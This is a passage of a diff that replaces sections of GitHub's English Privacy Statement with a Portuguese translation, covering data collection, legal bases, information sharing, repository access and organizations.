-#### Payment information
-If you sign on to a paid Account with us, send funds through the GitHub Sponsors Program, or buy an application on GitHub Marketplace, we collect your full name, address, and credit card information or PayPal information. Please note, GitHub does not process or store your credit card information or PayPal information, but our third-party payment processor does.
+#### Informações de pagamento
+Se você fizer um registro de Conta paga conosco, enviar fundos pelo Programa de Patrocinadores do GitHub ou comprar um aplicativo no GitHub Marketplace, coletaremos seu nome completo, endereço e informações do PayPal ou do cartão de crédito. Observe que o GitHub não processa ou armazena suas informações de cartão de crédito ou do PayPal, mas nosso processador de pagamento de terceiros o fará.
 
-If you list and sell an application on [GitHub Marketplace](https://github.com/marketplace), we require your banking information. If you raise funds through the [GitHub Sponsors Program](https://github.com/sponsors), we require some [additional information](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account#submitting-your-bank-information) through the registration process for you to participate in and receive funds through those services and for compliance purposes.
+Se você listar e vender um aplicativo no [GitHub Marketplace](https://github.com/marketplace), precisaremos das suas informações bancárias. Se você angariar fundos pelo [Programa de Patrocinadores do GitHub](https://github.com/sponsors), solicitaremos algumas [informações adicionais](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account#submitting-your-bank-information) no processo de registro para você participar e receber fundos por esses serviços e para fins de conformidade.
 
-#### Profile information
-You may choose to give us more information for your Account profile, such as your full name, an avatar which may include a photograph, your biography, your location, your company, and a URL to a third-party website. This information may include User Personal Information. Please note that your profile information may be visible to other Users of our Service.
+#### Informações do perfil
+Você pode optar por nos enviar mais informações para o perfil da sua Conta, como nome completo, avatar com foto, biografia, localidade, empresa e URL para um site de terceiros. Essas informações podem incluir Informações Pessoais de Usuário. Observe que as suas informações de perfil podem ficar visíveis para outros Usuários do nosso Serviço.
 
-### Information GitHub automatically collects from your use of the Service
+### Informações que o GitHub coleta automaticamente do seu uso do Serviço
 
-#### Transactional information
-If you have a paid Account with us, sell an application listed on [GitHub Marketplace](https://github.com/marketplace), or raise funds through the [GitHub Sponsors Program](https://github.com/sponsors), we automatically collect certain information about your transactions on the Service, such as the date, time, and amount charged.
+#### Informações da transação
+Se você tiver uma Conta paga conosco, se vender um aplicativo no [GitHub Marketplace](https://github.com/marketplace) ou se angariar fundos pelo [Programa de Patrocinadores do GitHub](https://github.com/sponsors), coletaremos automaticamente determinadas informações sobre suas transações no Serviço, como data, hora e quantia cobrada.
 
-#### Usage information
-If you're accessing our Service or Website, we automatically collect the same basic information that most services collect, subject, where necessary, to your consent. This includes information about how you use the Service, such as the pages you view, the referring site, your IP address and session information, and the date and time of each request. This is information we collect from every visitor to the Website, whether they have an Account or not. This information may include User Personal information.
+#### Informações de uso
+Se você acessar nosso Serviço ou Site, coletaremos automaticamente as mesmas informações básicas coletadas pela maioria dos serviços, sujeitando-nos ao seu consentimento, quando necessário. A coleta inclui informações sobre o seu uso do Serviço, como as páginas que você visualiza, o site referenciado, seu endereço IP, informações da sessão, e a data e hora de cada solicitação. Essas informações são obtidas igualmente de todos os visitantes do Site, independentemente de terem Conta ou não. Esses dados podem incluir Informações Pessoais de Usuário.
 
 #### Cookies
-As further described below, we automatically collect information from cookies (such as cookie ID and settings) to keep you logged in, to remember your preferences, to identify you and your device and to analyze your use of our service.
+Conforme descrito abaixo, coletamos informações automaticamente dos cookies (como ID de cookie e configurações) para manter você conectado, lembrar suas preferências, identificar você e o seu dispositivo e para analisar o seu uso dos nossos serviços.
 
-#### Device information
-We may collect certain information about your device, such as its IP address, browser or client application information, language preference, operating system and application version, device type and ID, and device model and manufacturer. This information may include User Personal information.
+#### Informações do dispositivo
+Podemos coletar determinadas informações sobre o seu dispositivo, como endereço IP, dados de navegador ou aplicativo cliente, preferências de idioma, sistema operacional, versão de aplicativo, tipo e ID de dispositivo, e modelo e fabricante de dispositivo. Esses dados podem incluir Informações Pessoais de Usuário.
 
-### Information we collect from third parties
+### Informações coletadas de terceiros
 
-GitHub may collect User Personal Information from third parties. For example, this may happen if you sign up for training or to receive information about GitHub from one of our vendors, partners, or affiliates. GitHub does not purchase User Personal Information from third-party data brokers.
+O GitHub pode coletar Informações Pessoais de Usuário de terceiros. Por exemplo, isso pode acontecer caso você se inscreva em treinamentos ou solicite informações sobre o GitHub via um de nossos fornecedores, parceiros ou afiliados. GitHub não compra Informações Pessoais de Usuário de agenciadores de terceiros.
 
-## What information GitHub does not collect
+## Que tipo de informação o GitHub não coleta
 
-We do not intentionally collect “**[Sensitive Personal Information](https://gdpr-info.eu/art-9-gdpr/)**”, such as personal data revealing racial or ethnic origin, political opinions, religious or philosophical beliefs, or trade union membership, and the processing of genetic data, biometric data for the purpose of uniquely identifying a natural person, data concerning health or data concerning a natural person’s sex life or sexual orientation. If you choose to store any Sensitive Personal Information on our servers, you are responsible for complying with any regulatory controls regarding that data.
+Não coletamos "**[Informações Pessoais Confidenciais](https://gdpr-info.eu/art-9-gdpr/)**", como dados pessoais que revelem origem racial ou étnica; opiniões políticas, crenças religiosas ou filosóficas, ou filiação sindical; processamento de dados genéticos ou biométricos para identificar uma pessoa física de forma inequívoca; dados relativos à saúde, à orientação ou à vida sexual de uma pessoa física. Se decidir armazenar quaisquer Informações Pessoais Confidenciais em nossos servidores, você será responsável pela conformidade com quaisquer controles regulamentares sobre tais informações.
 
-If you are a child under the age of 13, you may not have an Account on GitHub. GitHub does not knowingly collect information from or direct any of our content specifically to children under 13. If we learn or have reason to suspect that you are a User who is under the age of 13, we will have to close your Account. We don't want to discourage you from learning to code, but those are the rules. Please see our [Terms of Service](/github/site-policy/github-terms-of-service) for information about Account termination. Different countries may have different minimum age limits, and if you are below the minimum age for providing consent for data collection in your country, you may not have an Account on GitHub.
+Se você é criança e tem menos de 13 anos de idade, talvez você não tenha uma Conta no GitHub. O GitHub não coleta informações nem direciona qualquer conteúdo especificamente a crianças com menos de 13 anos. Se descobrirmos ou tivermos motivos para suspeitar de que você é Usuário e tem menos de 13 anos de idade, teremos que encerrar a sua Conta. Não pretendemos desmotivar o seu aprendizado na área de programação, mas devemos cumprir as regras. Consulte nossos [Termos de Serviço](/github/site-policy/github-terms-of-service) para mais informações sobre o encerramento da Conta. Outros países podem ter limites de idade diferentes. Se estiver abaixo da idade mínima necessária para dar consentimento sobre a coleta de dados no seu país, você não poderá ter uma Conta no GitHub.
 
-We do not intentionally collect User Personal Information that is **stored in your repositories** or other free-form content inputs. Any personal information within a user's repository is the responsibility of the repository owner.
+Não coletamos intencionalmente as Informações Pessoais de Usuário **armazenadas em seus repositórios** ou em outros métodos de entrada de conteúdo de forma livre. Toda e qualquer informação pessoal que conste no repositório do usuário é de responsabilidade do proprietário do repositório.
 
-## How GitHub uses your information
+## Como o GitHub usa suas informações
 
-We may use your information for the following purposes:
-- We use your [Registration Information](#registration-information) to create your account, and to provide you the Service.
-- We use your [Payment Information](#payment-information) to provide you with the Paid Account service, the Marketplace service, the Sponsors Program, or any other GitHub paid service you request.
-- We use your User Personal Information, specifically your username, to identify you on GitHub.
-- We use your [Profile Information](#profile-information) to fill out your Account profile and to share that profile with other users if you ask us to.
-- We use your email address to communicate with you, if you've said that's okay, **and only for the reasons you’ve said that’s okay**. Please see our section on [email communication](#how-we-communicate-with-you) for more information.
-- We use User Personal Information to respond to support requests.
-- We use User Personal Information and other data to make recommendations for you, such as to suggest projects you may want to follow or contribute to. We learn from your public behavior on GitHub—such as the projects you star—to determine your coding interests, and we recommend similar projects. These recommendations are automated decisions, but they have no legal impact on your rights.
-- We may use User Personal Information to invite you to take part in surveys, beta programs, or other research projects, subject, where necessary, to your consent .
-- We use [Usage Information](#usage-information) and [Device Information](#device-information) to better understand how our Users use GitHub and to improve our Website and Service.
-- We may use your User Personal Information if it is necessary for security purposes or to investigate possible fraud or attempts to harm GitHub or our Users.
-- We may use your User Personal Information to comply with our legal obligations, protect our intellectual property, and enforce our [Terms of Service](/github/site-policy/github-terms-of-service).
-- We limit our use of your User Personal Information to the purposes listed in this Privacy Statement. If we need to use your User Personal Information for other purposes, we will ask your permission first. You can always see what information we have, how we're using it, and what permissions you have given us in your [user profile](https://github.com/settings/admin).
+Podemos usar as suas informações das seguintes maneiras:
+- Usamos suas [Informações de Registro](#registration-information) para criar sua conta e prestar o Serviço a você.
+- Usamos suas [Informações de Pagamento](#payment-information) para prestar o serviço de Conta Paga, o serviço do Marketplace, o Programa de Patrocinadores ou qualquer outro serviço pago que você solicitar no GitHub.
+- Usamos suas Informações Pessoais de Usuário, especificamente seu nome de usuário, para identificar você no GitHub.
+- Usamos suas [Informações de Perfil](#profile-information) para preencher o perfil da sua Conta e compartilhar esse perfil com outros usuários, se você nos solicitar.
+- Usaremos seu endereço de e-mail para nos comunicar com você, mediante o seu consentimento, e **somente para os fins que você especificar**. Consulte a seção sobre [comunicação por e-mail](#how-we-communicate-with-you) para saber mais.
+- Usamos Informações Pessoais de Usuário para responder a solicitações de suporte.
+- Usamos Informações Pessoais de Usuário e outros dados para fazer recomendações a você, como sugestões de projetos que talvez você queira acompanhar ou contribuir. Usamos o seu comportamento público no GitHub (como os projetos que você marca como favoritos) para determinar seus interesses de programação e recomendar projetos afins. Essas recomendações são decisões automatizadas, mas não têm qualquer impacto jurídico nos seus direitos.
+- Podemos usar Informações Pessoais de Usuário para convidar você a participar de pesquisas, programas beta ou outros projetos de pesquisa, sujeitos ao seu consentimento, quando necessário.
+- Usamos as [Informações de Uso](#usage-information) e as [Informações do Dispositivo](#device-information) para entender como nossos usuários aproveitam o GitHub e para melhorar nossos Site e Serviços.
+- Se necessário, podemos usar suas Informações Pessoais de Usuário para fins de segurança ou para investigar possíveis fraudes ou tentativas de violar o GitHub ou nossos Usuários.
+- Podemos usar suas Informações Pessoais de Usuário para cumprir com nossas obrigações legais, proteger nossa propriedade intelectual e impor nossos [Termos de Serviço](/github/site-policy/github-terms-of-service).
+- Limitamos o nosso uso das Informações Pessoais de Usuário aos propósitos listados nesta Declaração de Privacidade. Se precisarmos usar suas Informações Pessoais de Usuário para outros fins, pediremos sua permissão com antecedência. No seu [perfil de usuário](https://github.com/settings/admin), você sempre poderá ver quais informações coletamos, o uso que fazemos delas e as permissões concedidas.
 
-### Our legal bases for processing information
+### Bases jurídicas para o processamento de informações
 
-To the extent that our processing of your User Personal Information is subject to certain international laws (including, but not limited to, the European Union's General Data Protection Regulation (GDPR)), GitHub is required to notify you about the legal basis on which we process User Personal Information. GitHub processes User Personal Information on the following legal bases:
+Na medida em que nosso processamento das suas Informações Pessoais de Usuário está sujeito a determinadas leis internacionais, inclusive, entre outras, o Regulamento Geral de Proteção de Dados (RGPD/GDPR) da União Europeia, o GitHub é obrigado a informar você sobre a base jurídica em que processamos Informações Pessoais de Usuário. O GitHub processa as Informações Pessoais de Usuário conforme as seguintes bases legais:
 
-- Contract Performance:
-  * When you create a GitHub Account, you provide your [Registration Information](#registration-information). We require this information for you to enter into the Terms of Service agreement with us, and we process that information on the basis of performing that contract. We also process your username and email address on other legal bases, as described below.
-  * If you have a paid Account with us, we collect and process additional [Payment Information](#payment-information) on the basis of performing that contract.
-  * When you buy or sell an application listed on our Marketplace or, when you send or receive funds through the GitHub Sponsors Program, we process [Payment Information](#payment-information) and additional elements in order to perform the contract that applies to those services.
-- Consent:
-  * We rely on your consent to use your User Personal Information under the following circumstances: when you fill out the information in your [user profile](https://github.com/settings/admin); when you decide to participate in a GitHub training, research project, beta program, or survey; and for marketing purposes, where applicable. All of this User Personal Information is entirely optional, and you have the ability to access, modify, and delete it at any time. While you are not able to delete your email address entirely, you can make it private. You may withdraw your consent at any time.
-- Legitimate Interests:
-  * Generally, the remainder of the processing of User Personal Information we perform is necessary for the purposes of our legitimate interest, for example, for legal compliance purposes, security purposes, or to maintain ongoing confidentiality, integrity, availability, and resilience of GitHub’s systems, Website, and Service.
-- If you would like to request deletion of data we process on the basis of consent or if you object to our processing of personal information, please use our [Privacy contact form](https://support.github.com/contact/privacy).
+- Execução contratual:
+  * Ao criar uma conta no GitHub, você envia suas [Informações de Registro](#registration-information). Solicitamos esses dados para que você celebre o contrato dos Termos de Serviço conosco e processamos tais dados com base na execução desse contrato. Também usamos outras bases para processar seu nome de usuário e endereço de e-mail, conforme descrito a seguir.
+  * Se você tiver uma conta paga conosco, coletaremos e processaremos [Informações de Pagamento](#payment-information) com base na execução desse contrato.
+  * Quando você comprar ou vender um aplicativo do nosso Marketplace, ou quando enviar ou receber fundos pelo Programa de Patrocinadores do GitHub, processaremos suas [Informações de Pagamento](#payment-information) e outros elementos adicionais para fins de execução do contrato referente a esses serviços.
+- Consentimento:
+  * Recorreremos ao seu consentimento para usar suas Informações Pessoais de Usuário nas seguintes circunstâncias: quando você preencher as informações do seu [perfil de usuário](https://github.com/settings/admin); quando você decidir participar de um treinamento, projeto de pesquisa, programa beta ou pesquisa do GitHub; para fins de marketing, quando aplicável. Todas essas Informações Pessoais de Usuário são inteiramente opcionais, e você poderá acessar, modificar e excluir tais informações a qualquer momento. Embora não possa excluir totalmente seu endereço de e-mail, você pode torná-lo privado e poderá retirar seu consentimento a qualquer momento.
+- Interesses legítimos:
+  * Em geral, nossos outros tipos de processamento de Informações Pessoais de Usuário são necessários para os nossos interesses legítimos, como para fins de conformidade jurídica, segurança ou manutenção contínua de confidencialidade, integridade, disponibilidade e resiliência dos sistemas, Site e Serviços do GitHub.
+- Para solicitar a exclusão dos dados que processamos com base em consentimento ou para se objetar ao nosso processamento de informações pessoais, use o nosso [formulário de contato de Privacidade](https://support.github.com/contact/privacy).
 
-## How we share the information we collect
+## Como compartilhamos as informações obtidas
 
-We may share your User Personal Information with third parties under one of the following circumstances:
+Podemos compartilhar suas Informações Pessoais de Usuário com terceiros em uma das seguintes circunstâncias:
 
-### With your consent
-We share your User Personal Information, if you consent, after letting you know what information will be shared, with whom, and why. For example, if you purchase an application listed on our Marketplace, we share your username to allow the application Developer to provide you with services. Additionally, you may direct us through your actions on GitHub to share your User Personal Information. For example, if you join an Organization, you indicate your willingness to provide the owner of the Organization with the ability to view your activity in the Organization’s access log.
+### Com o seu consentimento
+Com o seu consentimento, compartilhamos suas Informações Pessoais de Usuário, após deixarmos você ciente de quais informações serão compartilhadas, com quem e por quê. Por exemplo, se você comprar um aplicativo do nosso Marketplace, compartilharemos seu nome de usuário para permitir que o desenvolvedor do aplicativo preste os serviços. Além disso, por meio de suas ações no GitHub, você poderá indicar a sua disposição em compartilhar suas Informações Pessoais de Usuário. Por exemplo, ao ingressar em uma Organização, você indica que o proprietário da Organização poderá visualizar a sua atividade no log de acesso da Organização.
 
-### With service providers
-We share User Personal Information with a limited number of service providers who process it on our behalf to provide or improve our Service, and who have agreed to privacy restrictions similar to the ones in our Privacy Statement by signing data protection agreements or making similar commitments. Our service providers perform payment processing, customer support ticketing, network data transmission, security, and other similar services. While GitHub processes all User Personal Information in the United States, our service providers may process data outside of the United States or the European Union. If you would like to know who our service providers are, please see our page on [Subprocessors](/github/site-policy/github-subprocessors-and-cookies).
+### Com prestadores de serviço
+Nós compartilhamos Informações Pessoais de Usuário com um número limitado de prestadores de serviços que processam tais informações em nosso nome para prestar (ou melhorar) nosso serviço. Ao assinarem contratos de proteção de dados, esses prestadores concordam com restrições de privacidade semelhantes às determinadas na presente Declaração de Privacidade. Nossos prestadores de serviços desempenham vários serviços, como processamento de pagamento, geração de tíquetes de atendimento ao cliente, transmissão de dados de rede, segurança e outros serviços afins. Embora o GitHub processe todas as Informações Pessoais de Usuário nos Estados Unidos, nossos prestadores de serviços podem processar dados fora dos Estados Unidos ou da União Europeia. Para saber quem são nossos prestadores de serviços, consulte nossa página em [Subprocessadores](/github/site-policy/github-subprocessors-and-cookies).
 
-### For security purposes
-If you are a member of an Organization, GitHub may share your username, [Usage Information](#usage-information), and [Device Information](#device-information) associated with that Organization with an owner and/or administrator of the Organization, to the extent that such information is provided only to investigate or respond to a security incident that affects or compromises the security of that particular Organization.
+### Por motivos de segurança
+Se você é integrante de uma Organização, o GitHub pode compartilhar seu nome de usuário, [Informações de uso](#usage-information) e [Informações do dispositivo](#device-information) associado a essa organização com um proprietário e/ou administrador na medida em que essas informações são fornecidas apenas para investigar ou responder a um incidente de segurança que afeta ou compromete a segurança dessa organização em particular.
 
-### For legal disclosure
-GitHub strives for transparency in complying with legal process and legal obligations. Unless prevented from doing so by law or court order, or in rare, exigent circumstances, we make a reasonable effort to notify users of any legally compelled or required disclosure of their information. GitHub may disclose User Personal Information or other information we collect about you to law enforcement if required in response to a valid subpoena, court order, search warrant, a similar government order, or when we believe in good faith that disclosure is necessary to comply with our legal obligations, to protect our property or rights, or those of third parties or the public at large.
+### Para divulgação legal
+O GitHub luta pela transparência no cumprimento do processo legal e das obrigações legais. A menos que sejamos impedidos de fazê-lo por lei ou ordem judicial, ou em circunstâncias raras e exigentes, fazemos esforço razoável para notificar os usuários de quaisquer informações legalmente solicitadas ou exigidas. O GitHub pode revelar Informações Pessoais de Usuário ou outras informações coletadas sobre você para fins de cumprimento da lei em resposta a intimação, ordem judicial, garantia ou ordem governamental similar, ou quando acreditarmos de boa-fé que a divulgação se faz necessária para cumprir com nossas obrigações legais, proteger nossa propriedade ou nossos direitos, ou de terceiros ou do público geral.
 
-For more information about our disclosure in response to legal requests, see our [Guidelines for Legal Requests of User Data](/github/site-policy/guidelines-for-legal-requests-of-user-data).
+Para obter mais informações sobre a nossa transparência em resposta a solicitações legais, consulte nossas [Diretrizes para Solicitações Legais de Dados do Usuário](/github/site-policy/guidelines-for-legal-requests-of-user-data).
 
-### Change in control or sale
-We may share User Personal Information if we are involved in a merger, sale, or acquisition of corporate entities or business units. If any such change of ownership happens, we will ensure that it is under terms that preserve the confidentiality of User Personal Information, and we will notify you on our Website or by email before any transfer of your User Personal Information. The organization receiving any User Personal Information will have to honor any promises we made in our Privacy Statement or Terms of Service.
+### Mudança de controle ou venda
+Podemos compartilhar Informações Pessoais do Usuário se estivermos envolvidos em uma fusão, venda ou aquisição de entidades corporativas ou unidades de negócios. Diante de qualquer mudança de propriedade, garantiremos que a mudança ocorra de maneira a preservar a confidencialidade das Informações Pessoais de Usuário. Ademais, antes de qualquer transferência das suas Informações Pessoais de Usuário, enviaremos uma notificação a você pelo nosso Site ou por e-mail. A organização que receber nossas Informações Pessoais de Usuário terá que honrar toda e qualquer promessa que tenhamos feito em nossa Declaração de Privacidade ou em nossos Termos de Serviço.
 
-### Aggregate, non-personally identifying information
-We share certain aggregated, non-personally identifying information with others about how our users, collectively, use GitHub, or how our users respond to our other offerings, such as our conferences or events.
+### Informações de identificação não pessoal agregadas
+Nós compartilhamos com terceiros determinadas informações não pessoais agregadas sobre como nossos usuários, coletivamente, usam o GitHub, ou como nossos usuários reagem às nossas outras ofertas, tais como conferências ou eventos.
 
-We **do not** sell your User Personal Information for monetary or other consideration.
+Nós **não** vendemos suas Informações Pessoais de Usuário para obtenção de lucro ou considerações afins.
 
-Please note: The California Consumer Privacy Act of 2018 (“CCPA”) requires businesses to state in their privacy policy whether or not they disclose personal information in exchange for monetary or other valuable consideration. While CCPA only covers California residents, we voluntarily extend its core rights for people to control their data to _all_ of our users, not just those who live in California. You can learn more about the CCPA and how we comply with it [here](/github/site-policy/githubs-notice-about-the-california-consumer-privacy-act).
+Observação: a Lei de Privacidade do Consumidor da Califórnia de 2018 (“CCPA”) exige que as empresas informem em suas respectivas políticas de privacidade se divulgam ou não informações pessoais para obtenção de lucro ou considerações afins. Enquanto a CCPA cobre apenas residentes da Califórnia, nós voluntariamente estendemos seus principais direitos para as pessoas controlarem seus dados a _todos_ os nossos usuários e não apenas àqueles que residem na Califórnia. Saiba mais sobre a CCPA e sobre como a cumprimos [aqui](/github/site-policy/githubs-notice-about-the-california-consumer-privacy-act).
 
-## Repository contents
+## Conteúdo do repositório
 
-### Access to private repositories
+### Acesso a repositórios privados
 
-If your repository is private, you control the access to your Content. If you include User Personal Information or Sensitive Personal Information, that information may only be accessible to GitHub in accordance with this Privacy Statement. GitHub personnel [do not access private repository content](/github/site-policy/github-terms-of-service#e-private-repositories) except for
-- security purposes
-- to assist the repository owner with a support matter
-- to maintain the integrity of the Service
-- to comply with our legal obligations
-- if we have reason to believe the contents are in violation of the law, or
-- with your consent.
+Se seu repositório for privado, você controla o acesso ao seu Conteúdo. Se você incluir Informações Pessoais do Usuário ou Informações Pessoais Confidenciais, essas informações só poderão ser acessadas pelo GitHub em conformidade com esta Declaração de Privacidade. Os funcionários do GitHub [não acessam o conteúdo privado do repositório](/github/site-policy/github-terms-of-service#e-private-repositories) exceto
+- motivos de segurança
+- para auxiliar o proprietário do repositório com uma questão de suporte
+- para manter a integridade do Serviço
+- para cumprir com nossas obrigações legais
+- se tivermos motivos para acreditar que o conteúdo viola a lei, ou
+- com o seu consentimento.
 
-However, while we do not generally search for content in your repositories, we may scan our servers and content to detect certain tokens or security signatures, known active malware, known vulnerabilities in dependencies, or other content known to violate our Terms of Service, such as violent extremist or terrorist content or child exploitation imagery, based on algorithmic fingerprinting techniques (collectively, "automated scanning"). Our Terms of Service provides more details on [private repositories](/github/site-policy/github-terms-of-service#e-private-repositories).
+No entanto, embora, de modo geral, não pesquisemos conteúdo nos seus repositórios, podemos escanear nossos servidores e conteúdo para detectar certos tokens ou assinaturas de segurança, malware ativo conhecido, vulnerabilidades conhecidas em dependências ou outro conteúdo conhecido por violar nossos Termos de Serviço, como extremistas violentos ou conteúdo terrorista ou imagem de exploração infantil, baseado em técnicas de impressão digital algorítmica (coletivamente denominados, "escaneamento automatizado"). Nossos Termos de Serviço fornecem mais detalhes em [repositórios privados](/github/site-policy/github-terms-of-service#e-private-repositories).
 
-Please note, you may choose to disable certain access to your private repositories that is enabled by default as part of providing you with the Service (for example, automated scanning needed to enable Dependency Graph and Dependabot alerts).
+Tenha em mente que você pode optar por desabilitar determinados acessos aos seus repositórios privados que são ativados por padrão como parte do fornecimento de Serviço (por exemplo, varredura automatizada necessária para habilitar alertas de Dependência de gráfico e do Dependabot).
 
-GitHub will provide notice regarding our access to private repository content, unless [for legal disclosure](/github/site-policy/github-privacy-statement#for-legal-disclosure), to comply with our legal obligations, or where otherwise bound by requirements under law, for automated scanning, or if in response to a security threat or other risk to security.
+O GitHub fornecerá avisos sobre nosso acesso ao conteúdo do repositório privado, a menos que [para divulgação legal](/github/site-policy/github-privacy-statement#for-legal-disclosure), para cumprir nossas obrigações legais, ou onde de outra forma estiver vinculado por requisitos legais, para verificação automatizada ou se em resposta a uma ameaça de segurança ou outro risco à segurança.
 
-### Public repositories
+### Repositórios públicos
 
-If your repository is public, anyone may view its contents. If you include User Personal Information, [Sensitive Personal Information](https://gdpr-info.eu/art-9-gdpr/), or confidential information, such as email addresses or passwords, in your public repository, that information may be indexed by search engines or used by third parties.
+Se o seu repositório for público, qualquer pessoa poderá ver o conteúdo do repositório em questão. Se você incluir informações pessoais do usuário, [Informações Pessoais Confidenciais](https://gdpr-info.eu/art-9-gdpr/)ou informações confidenciais, como endereços de e-mail ou senhas, no seu repositório público, essas informações podem ser indexadas por mecanismos de busca ou usadas por terceiros.
 
-Please see more about [User Personal Information in public repositories](/github/site-policy/github-privacy-statement#public-information-on-github).
+Saiba mais sobre [Informações Pessoais de Usuário em repositórios públicos](/github/site-policy/github-privacy-statement#public-information-on-github).
 
-## Other important information
+## Outras informações importantes
 
-### Public information on GitHub
+### Informações públicas no GitHub
 
-Many of GitHub services and features are public-facing. If your content is public-facing, third parties may access and use it in compliance with our Terms of Service, such as by viewing your profile or repositories or pulling data via our API. We do not sell that content; it is yours. However, we do allow third parties, such as research organizations or archives, to compile public-facing GitHub information. Other third parties, such as data brokers, have been known to scrape GitHub and compile data as well.
+Vários recursos e serviços do GitHub são voltados para o público. Se o seu conteúdo for voltado para o público, ele poderá ser acessado e usado por terceiros em conformidade com nossos Termos de Serviço. Por exemplo, os terceiros podem visualizar seu perfil ou repositórios, ou fazer pull de dados pela nossa API. Não vendemos esse conteúdo; ele é seu. Entretanto, permitimos que terceiros (como organizações de pesquisa ou arquivos) compilem as informações públicas do GitHub. Outros terceiros, como agentes de dados, são conhecidos também por fazer scraping do GitHub e compilar dados.
 
-Your User Personal Information associated with your content could be gathered by third parties in these compilations of GitHub data. If you do not want your User Personal Information to appear in third parties’ compilations of GitHub data, please do not make your User Personal Information publicly available and be sure to [configure your email address to be private in your user profile](https://github.com/settings/emails) and in your [git commit settings](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). We currently set Users' email address to private by default, but legacy GitHub Users may need to update their settings.
+Suas Informações Pessoais de Usuário, associadas ao seu conteúdo, podem ser coletadas por terceiros nessas compilações de dados do GitHub. Se você não quiser que suas Informações Pessoais de Usuário apareçam em compilações de dados do GitHub de terceiros, não disponibilize as Informações Pessoais de Usuário publicamente e certifique-se de [configurar seu endereço de e-mail como privado no seu perfil de usuário](https://github.com/settings/emails) e em suas [configurações de commit do Git](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). Definimos o endereço de e-mail dos Usuários como privado por padrão, mas alguns Usuários do GitHub podem ter que atualizar suas configurações.
 
-If you would like to compile GitHub data, you must comply with our Terms of Service regarding [information usage](/github/site-policy/github-acceptable-use-policies#6-information-usage-restrictions) and [privacy](/github/site-policy/github-acceptable-use-policies#7-privacy), and you may only use any public-facing User Personal Information you gather for the purpose for which our user authorized it. For example, where a GitHub user has made an email address public-facing for the purpose of identification and attribution, do not use that email address for the purposes of sending unsolicited emails to users or selling User Personal Information, such as to recruiters, headhunters, and job boards, or for commercial advertising. We expect you to reasonably secure any User Personal Information you have gathered from GitHub, and to respond promptly to complaints, removal requests, and "do not contact" requests from GitHub or GitHub users.
+Se você desejar compilar os dados do GitHub, você deverá cumprir os nossos Termos de Serviço com relação ao [uso da informação](/github/site-policy/github-acceptable-use-policies#6-information-usage-restrictions) e [privacidade](/github/site-policy/github-acceptable-use-policies#7-privacy), e você só poderá usar qualquer Informação Pessoal do Usuário pública que você coletar para o propósito autorizado pelo nosso usuário. Por exemplo, quando um usuário do GitHub criou um endereço de e-mail voltado para o público para fins de identificação e atribuição, não use esse endereço de e-mail para fins de envio de e-mails não solicitados aos usuários ou de venda de informações pessoais do usuário, tais como recrutadores, headhunters e job boards ou para publicidade comercial. Esperamos que você proteja, de forma razoável, qualquer Informação Pessoal de Usuário que coletar do GitHub e que responda prontamente a reclamações, solicitações de remoção e solicitações de "não contatar" de nossa parte e de outros usuários.
 
-Similarly, projects on GitHub may include publicly available User Personal Information collected as part of the collaborative process. If you have a complaint about any User Personal Information on GitHub, please see our section on [resolving complaints](/github/site-policy/github-privacy-statement#resolving-complaints).
+De modo semelhante, os projetos no GitHub podem incluir Informações Pessoais de Usuário publicamente disponíveis e coletadas como parte do processo colaborativo. Em caso de problemas relacionados a quaisquer Informações Pessoais de Usuário no GitHub, consulte nossa seção sobre [resolução de conflitos](/github/site-policy/github-privacy-statement#resolving-complaints).
 
 
-### Organizations
+### Organizações
 
-You may indicate, through your actions on GitHub, that you are willing to share your User Personal Information. If you collaborate on or become a member of an Organization, then its Account owners may receive your User Personal Information. When you accept an invitation to an Organization, you will be notified of the types of information owners may be able to see (for more information, see [About Organization Membership](/github/setting-up-and-managing-your-github-user-account/about-organization-membership)). If you accept an invitation to an Organization with a [verified domain](/organizations/managing-organization-settings/verifying-your-organizations-domain), then the owners of that Organization will be able to see your full email address(es) within that Organization's verified domain(s).
+Por meio de suas ações no GitHub, você poderá indicar a sua disposição em compartilhar suas Informações Pessoais de Usuário. Se você colaborar com ou se tornar integrante de uma Organização, os proprietários da Conta poderão receber suas Informações Pessoais de Usuário. Ao aceitar um convite para uma Organização, você receberá uma notificação sobre os tipos de informações que os proprietários poderão ver (para mais informações, consulteorganização <[Sobre Associação à Organização](/github/setting-up-and-managing-your-github-user-account/about-organization-membership)). Se você aceitar um convite para uma Organização com um [domínio verificado](/organizations/managing-organization-settings/verifying-your-organizations-domain), os proprietários da Organização poderão ver seu(s) endereço(s) de e-mail completo(s) no(s) domínio(s) verificado(s) da Organização.
 
-Please note, GitHub may share your username, [Usage Information](#usage-information), and [Device Information](#device-information) with the owner(s) of the Organization you are a member of, to the extent that your User Personal Information is provided only to investigate or respond to a security incident that affects or compromises the security of that particular Organization.
+Observe que o GitHub poderá compartilhar seu nome de usuário, suas [Informações de Uso](#usage-information) e as [Informações do Dispositivo](#device-information) com a organização da qual você é integrante na medida que as suas informações pessoais sejam fornecidas apenas para investigar ou responder a um incidente de segurança que afeta ou compromete a segurança dessa organização em particular.
 
-If you collaborate on or become a member of an Account that has agreed to the [Corporate Terms of Service](/github/site-policy/github-corporate-terms-of-service) and a Data Protection Addendum (DPA) to this Privacy Statement, then that DPA governs in the event of any conflicts between this Privacy Statement and the DPA with respect to your activity in the Account.
+Se você colaborar com ou se tornar integrante de uma Conta que concordou com os [Termos de Serviço Corporativos](/github/site-policy/github-corporate-terms-of-service) e com um Adendo de Proteção de Dados (DPA) nesta Declaração de Privacidade, o DPA prevalecerá em caso de quaisquer conflitos entre a presente Declaração de Privacidade e o DPA no que tange à sua atividade na Conta.
 
-Please contact the Account owners for more information about how they might process your User Personal Information in their Organization and the ways for you to access, update, alter, or delete the User Personal Information stored in the Account.
+Entre em contato com os proprietários da conta para obter mais informações sobre como eles processam suas Informações Pessoais de Usuário na Organização e sobre as suas formas de acesso, atualização, alteração ou exclusão das Informações Pessoais de Usuário armazenadas na Conta.
 
-## Additional services
+## Serviços adicionais
 
-### Third party applications
+### Aplicativos de terceiros
 
